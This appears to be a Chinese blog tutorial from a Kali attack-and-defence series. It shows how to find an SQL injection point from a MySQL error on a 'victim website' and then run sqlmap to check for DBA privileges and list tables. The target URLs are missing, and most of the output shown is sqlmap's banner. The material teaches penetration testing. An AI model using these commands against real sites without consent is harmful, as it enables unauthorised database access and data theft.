博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
kali攻防第14章 SQLMAP之漏洞服务器
阅读量:4144 次
发布时间:2019-05-25

本文共 1229 字,大约阅读时间需要 4 分钟。

SQLMAP漏洞服务器

准备工具

1、kali 系统IP 10.10.10.131

2、受害网站

3、使用工具sqlmap

 

 

步骤:

1、登录受害网站

网址设置为

出现Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in E:\WWW\techdetail.php on line 8  (这里就是mysql数据库,找到sql注入点)

2、使用sqlmap工具模块进行扫描

root@kali:~# sqlmap -u  --dbms "mysql"

         _

 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20151130}

|_ -| . | |     | .'| . |

|___|_  |_|_|_|_|__,|  _|

      |_|           |_|   http://sqlmap.org

 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

3、判断是否为数据库管理员用户

root@kali:~# sqlmap -u  --dbms "mysql" --is-dba

 

4、使用 --table参数查看

root@kali:~# sqlmap -u  --table

         _

 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20151130}

|_ -| . | |     | .'| . |

|___|_  |_|_|_|_|__,|  _|

      |_|           |_|   http://sqlmap.org

 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

 

 

 

你可能感兴趣的文章
Mysql复制表以及复制数据库
查看>>
Linux分区方案
查看>>
如何使用 systemd 中的定时器
查看>>
git命令速查表
查看>>
linux进程监控和自动重启的简单实现
查看>>
OpenFeign学习(三):OpenFeign配置生成代理对象
查看>>
OpenFeign学习(四):OpenFeign的方法同步请求执行
查看>>
OpenFeign学习(六):OpenFign进行表单提交参数或传输文件
查看>>
Ribbon 学习(二):Spring Cloud Ribbon 加载配置原理
查看>>
Ribbon 学习(三):RestTemplate 请求负载流程解析
查看>>
深入理解HashMap
查看>>
XML生成(一):DOM生成XML
查看>>
XML生成(三):JDOM生成
查看>>
Ubuntu Could not open lock file /var/lib/dpkg/lock - open (13:Permission denied)
查看>>
collect2: ld returned 1 exit status
查看>>
C#入门
查看>>
C#中ColorDialog需点两次确定才会退出的问题
查看>>
数据库
查看>>
nginx反代 499 502 bad gateway 和timeout
查看>>
linux虚拟机安装tar.gz版jdk步骤详解
查看>>